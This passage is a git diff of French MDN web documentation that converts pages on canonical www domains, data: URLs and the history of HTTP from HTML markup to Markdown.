l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement. -<p>Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent <code>https://www.exemple.org/kadoc</code> contiendrait le même contenu que <code>https://exemple.org/kadoc</code>, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :</p> +Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent `https://www.exemple.org/kadoc` contiendrait le même contenu que `https://exemple.org/kadoc`, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête : -<p><code>< link href="https://exemple.org/kadoc" rel="canonical"></code></p> +`< link href="https://exemple.org/kadoc" rel="canonical">` -<p>À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.</p> +À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes. -<h2 id="Adapter_votre_page_aux_deux_cas">Adapter votre page aux deux cas</h2> +## Adapter votre page aux deux cas -<p>Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.</p> +Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier. -<h2 id="Choisir_www_ou_non">Choisir www ou non</h2> +## Choisir www ou non -<p>Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire <a href="http://www.themezilla.com/should-you-use-www-in-your-url-or-not/">de nombreux</a> <a href="http://www.wpbeginner.com/beginners-guide/www-vs-non-www-which-is-better-for-wordpress-seo/">articles</a> sur ce sujet.</p> +Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire [de nombreux](http://www.themezilla.com/should-you-use-www-in-your-url-or-not/) [articles](http://www.wpbeginner.com/beginners-guide/www-vs-non-www-which-is-better-for-wordpress-seo/) sur ce sujet. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Statistiques sur ce que les gens entrent dans la barre d'adresse</a> (2011)</li> -</ul> +- [Statistiques sur ce que les gens entrent dans la barre d'adresse](https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/) (2011) diff --git a/files/fr/web/http/basics_of_http/data_uris/index.md b/files/fr/web/http/basics_of_http/data_uris/index.md index 5922ae68e0..49fb44b7bd 100644 --- a/files/fr/web/http/basics_of_http/data_uris/index.md +++ b/files/fr/web/http/basics_of_http/data_uris/index.md @@ -9,114 +9,90 @@ tags: - URL translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p><strong>Les URLs de données</strong>, les URLs préfixées par le schéma <code>data:</code>, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.</p> +**Les URLs de données**, les URLs préfixées par le schéma `data:`, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents. -<div class="note"> -<p><strong>Note :</strong> Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.</p> -</div> +> **Note :** Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Les URLs de données sont composées de quatre parties : un préfixe (<code>data:</code>), un type MIME indiquant le type de donnée, un jeton facultatif encodé en <code>base64</code> dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :</p> +Les URLs de données sont composées de quatre parties : un préfixe (`data:`), un type MIME indiquant le type de donnée, un jeton facultatif encodé en `base64` dans le cas où il n'est pas textuel ainsi que les données elles-mêmes : -<pre class="syntaxbox">data:[<mediatype>][;base64],<data> -</pre> + data:[<mediatype>][;base64],<data> -<p>Le <code>mediatype</code> est une chaîne de type MIME, telle que <code>'image/jpeg'</code> pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera <code>text/plain;charset=US-ASCII</code>.</p> +Le `mediatype` est une chaîne de type MIME, telle que `'image/jpeg'` pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera `text/plain;charset=US-ASCII`. -<p>Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier <code>base64</code> pour intégrer des données binaires encodées en base64.</p> +Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier `base64` pour intégrer des données binaires encodées en base64. -<p>Quelques exemples :</p> +Quelques exemples : -<dl> - <dt><code>data:,Hello%2C%20World!</code></dt> - <dd>Texte simple / Données brutes</dd> - <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt> - <dd>Version encodée en base64 de ce qui précède</dd> - <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt> - <dd>Un document HTML avec <code><h1>Hello, World!</h1></code></dd> - <dt><code>data:text/html,<script>alert('hi');</script></code></dt> - <dd>Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.</dd> -</dl> +- `data:,Hello%2C%20World!` + - : Texte simple / Données brutes +- `data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D` + - : Version encodée en base64 de ce qui précède +- `data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E` + - : Un document HTML avec `<h1>Hello, World!</h1>` +- `data:text/html,<script>alert('hi');</script>` + - : Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise. -<h2 id="Encodage_des_données_au_format_base64">Encodage des données au format base64</h2> +## Encodage des données au format base64 -<p>Il est possible de le faire très simplement via la ligne de commande <code>uuencode</code> pour les systèmes Linux et Mac OS X :</p> +Il est possible de le faire très simplement via la ligne de commande `uuencode` pour les systèmes Linux et Mac OS X : -<pre>uuencode -m infile remotename -</pre> + uuencode -m infile remotename -<p>Le paramètre <code>infile</code> est le nom du fichier que vous souhaitez encoder au format base64, <code>remotename</code> est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type <code>data</code>.</p> +Le paramètre `infile` est le nom du fichier que vous souhaitez encoder au format base64, `remotename` est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type `data`. -<p>Le résultat devrait ressembler à :</p> +Le résultat devrait ressembler à : -<pre>begin-base64 664 test -YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK -==== -</pre> + begin-base64 664 test + YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK + ==== -<p>L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.</p> +L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête. -<h3 id="Dans_une_page_web_via_JavaScript">Dans une page web, via JavaScript</h3> +### Dans une page web, via JavaScript -<p>Les APIs web contiennent des méthodes pour encoder et décoder en base64 : <a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a>.</p> +Les APIs web contiennent des méthodes pour encoder et décoder en base64 : [Décoder et encoder en base64](/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding). -<h2 id="Problèmes_habituels">Problèmes habituels</h2> +## Problèmes habituels -<p>Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type <code>data</code></p> +Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type `data` -<pre>data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val -</pre> + data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val -<p>Cela représente une ressource HTML dont le contenu est le suivant :</p> +Cela représente une ressource HTML dont le contenu est le suivant : -<pre>beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val -</pre> + beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val -<dl> - <dt>Syntaxe</dt> - <dd>Le format pour les URLs de type <code>data</code> est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.</dd> - <dt>Mise en forme HTML</dt> - <dd>Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">l'encodage en base64</a>.</dd> - <dt>Limitations sur la longueur</dt> - <dd>Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.</dd> - <dt>Absence de gestion d'erreur</dt> - <dd>Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie <code>'base64'</code>, sont ignorés mais aucune erreur n'est retournée.</dd> - <dt>Aucun support des requêtes via l'URL, etc</dt> - <dd> - <p>La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <code><url>?parameter-data</code>) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.</p> - </dd> - <dt>Problèmes de sécurité</dt> - <dd>De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données <code>data://</code> a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Voir Blocking Top-Level Navigations to data URLs for Firefox 58</a> pour plus de détails.</dd> -</dl> +- Syntaxe + - : Le format pour les URLs de type `data` est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64. +- Mise en forme HTML + - : Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer [l'encodage en base64](https://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12). +- Limitations sur la longueur + - : Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée. +- Absence de gestion d'erreur + - : Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie `'base64'`, sont ignorés mais aucune erreur n'est retournée. +- Aucun support des requêtes via l'URL, etc + - : La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe `<url>?parameter-data`) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée. +- Problèmes de sécurité + - : De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données `data://` a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. [Voir Blocking Top-Level Navigations to data URLs for Firefox 58](https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/) pour plus de détails. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("2397")}}</td> - <td>Le schéma d'URL "data"</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------- | ---------------------- | +| {{RFC("2397")}} | Le schéma d'URL "data" | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{compat("http.data-url")}}</p> +{{compat("http.data-url")}} -<h2 id="Voir_aussi">Voir_aussi</h2> +## Voir_aussi -<ul> - <li><a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a></li> - <li>{{domxref("WindowBase64.atob","atob()")}}</li> - <li>{{domxref("WindowBase64.btoa","btoa()")}}</li> - <li><a href="/fr/docs/Web/CSS/uri">CSS <code>url()</code></a></li> - <li><a href="/fr/docs/Glossary/URI">URI</a></li> -</ul> +- [Décoder et encoder en base64](/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) +- {{domxref("WindowBase64.atob","atob()")}} +- {{domxref("WindowBase64.btoa","btoa()")}} +- [CSS `url()`](/fr/docs/Web/CSS/uri) +- [URI](/fr/docs/Glossary/URI) diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.md b/files/fr/web/http/basics_of_http/evolution_of_http/index.md index 759eb3679a..2432431bac 100644 --- a/files/fr/web/http/basics_of_http/evolution_of_http/index.md +++ b/files/fr/web/http/basics_of_http/evolution_of_http/index.md @@ -6,197 +6,183 @@ tags: - HTTP translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP --- -<div>{{HTTPSidebar}} -<div> -<p><strong>Le protocole HTTP</strong> (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.</p> +{{HTTPSidebar}} -<h2 id="Linvention_du_World_Wide_Web">L'invention du World Wide Web</h2> +**Le protocole HTTP** (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D. -<p>En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé <em>Mesh, </em>il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :</p> +## L'invention du World Wide Web -<ul> - <li>Un format textuel pour représenter les documents hypertextes, l'<em><a href="/fr/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li> - <li>Un protocole simple pour échanger ces documents, l'<em>HyperText Transfer Protocol </em>(HTTP).</li> - <li>Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé <em>WorldWideWeb</em>.</li> - <li>Un serveur pour garantir l'accès au document, version initiale du <em>httpd</em>.</li> -</ul> +En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé _Mesh,_ il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base : -<p>Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">billet</a> sur le groupe de discussion public <em>alt.hypertext</em> : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.</p> +- Un format textuel pour représenter les documents hypertextes, l'_[HyperText Markup Language](/fr/docs/Web/HTML)_ (HTML). +- Un protocole simple pour échanger ces documents, l'_HyperText Transfer Protocol_ (HTTP). +- Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé _WorldWideWeb_. +- Un serveur pour garantir l'accès au document, version initiale du _httpd_. -<p>Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole <em>une ligne</em> - "the one-line protocol".</p> +Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un [billet](https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ) sur le groupe de discussion public _alt.hypertext_ : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public. -<h2 id="HTTP0.9_–_Le_protocole_une_ligne">HTTP/0.9 – Le protocole <em>une ligne</em></h2> +Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole _une ligne_ - "the one-line protocol". -<p>La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :</p> +## HTTP/0.9 – Le protocole _une ligne_ -<pre>GET /monfichier.html</pre> +La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) : -<p>La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :</p> + GET /monfichier.html -<pre><HTML> -Une page HTML très simple -</HTML></pre> +La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé : -<p>Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.</p> + <HTML> + Une page HTML très simple + </HTML> -<h2 id="HTTP1.0_–_Mise_en_place_de_lextensibilité">HTTP/1.0 – Mise en place de l'extensibilité</h2> +Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur. -<p>HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.</p> +## HTTP/1.0 – Mise en place de l'extensibilité -<ul> - <li>Dans chaque requête figurent dorénavant les informations de version (<code>HTTP/1.0</code> est ajouté à la ligne <code>GET</code>).</li> - <li>Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).</li> - <li>La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.</li> - <li>Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.</li> -</ul> +HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents. -<p>Une requête typique ressemblait ainsi à :</p> +- Dans chaque requête figurent dorénavant les informations de version (`HTTP/1.0` est ajouté à la ligne `GET`). +- Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique). +- La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible. +- Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}. -<pre>GET /pamage.html HTTP/1.0 -User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) +Une requête typique ressemblait ainsi à : -200 OK -Date: Tue, 15 Nov 1994 08:12:31 GMT -Server: CERN/3.0 libwww/2.17 -Content-Type: text/html -<HTML> -Une page avec une image - <IMG SRC="/monimage.gif"> -</HTML></pre> + GET /pamage.html HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) -<p>Suivie d'une seconde connexion-requête pour le transfert de l'image :</p> + 200 OK + Date: Tue, 15 Nov 1994 08:12:31 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/html + <HTML> + Une page avec une image + <IMG SRC="/monimage.gif"> + </HTML> -<pre>GET /monimage.gif HTTP/1.0 -User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) +Suivie d'une seconde connexion-requête pour le transfert de l'image : -200 OK -Date: Tue, 15 Nov 1994 08:12:32 GMT -Server: CERN/3.0 libwww/2.17 -Content-Type: text/gif -<em>(contenu de l'image)</em></pre> + GET /monimage.gif HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) -<p>Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.</p> + 200 OK + Date: Tue, 15 Nov 1994 08:12:32 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/gif + (contenu de l'image) -<h2 id="HTTP1.1_–_Le_protocole_standardisé">HTTP/1.1 – Le protocole standardisé</h2> +Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel. -<p>Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.</p> +## HTTP/1.1 – Le protocole standardisé -<p>HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.</p> +Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0. -<ul> - <li>Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.</li> - <li>Ajout du <em>pipelining</em> : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.</li> - <li>Désormais les réponses par morceau sont aussi supportées.</li> - <li>Mise en place de mécanismes de contrôle de caches additionnels.</li> - <li>Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.</li> - <li>Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.</li> -</ul> +HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations. -<p>Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :</p> +- Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré. +- Ajout du _pipelining_ : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication. +- Désormais les réponses par morceau sont aussi supportées. +- Mise en place de mécanismes de contrôle de caches additionnels. +- Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger. +- Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs. -<pre>GET /fr/docs/Glossary/Simple_header HTTP/1.1 -Host: developer.mozilla.org -User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate, br -Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header +Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci : -200 OK -Connection: Keep-Alive -Content-Encoding: gzip -Content-Type: text/html; charset=utf-8 -Date: Wed, 20 Jul 2016 10:55:30 GMT -Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" -Keep-Alive: timeout=5, max=1000 -Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT -Server: Apache -Transfer-Encoding: chunked -Vary: Cookie, Accept-Encoding + GET /fr/docs/Glossary/Simple_header HTTP/1.1 + Host: developer.mozilla.org + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate, br + Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header -<em>(contenu)</em> + 200 OK + Connection: Keep-Alive + Content-Encoding: gzip + Content-Type: text/html; charset=utf-8 + Date: Wed, 20 Jul 2016 10:55:30 GMT + Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" + Keep-Alive: timeout=5, max=1000 + Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT + Server: Apache + Transfer-Encoding: chunked + Vary: Cookie, Accept-Encoding + (contenu) -GET /static/img/header-background.png HTTP/1.1 -Host: developer.mozilla.org -User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 -Accept: */* -Accept-Language: en-US,en;q=0.5 -Accept-Encoding: gzip, deflate, br -Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header -200 OK -Age: 9578461 -Cache-Control: public, max-age=315360000 -Connection: keep-alive -Content-Length: 3077 -Content-Type: image/png -Date: Thu, 31 Mar 2016 13:34:46 GMT -Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT -Server: Apache + GET /static/img/header-background.png HTTP/1.1 + Host: developer.mozilla.org + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: */* + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate, br + Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header -<em>(contenu comprenant une image sur 3077 octets)</em></pre> + 200 OK + Age: 9578461 + Cache-Control: public, max-age=315360000 + Connection: keep-alive + Content-Length: 3077 + Content-Type: image/png + Date: Thu, 31 Mar 2016 13:34:46 GMT + Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT + Server: Apache -<p>HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.</p> + (contenu comprenant une image sur 3077 octets) -<h2 id="Plus_de_quinze_années_dextension">Plus de quinze années d'extension</h2> +HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997. -<p>Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 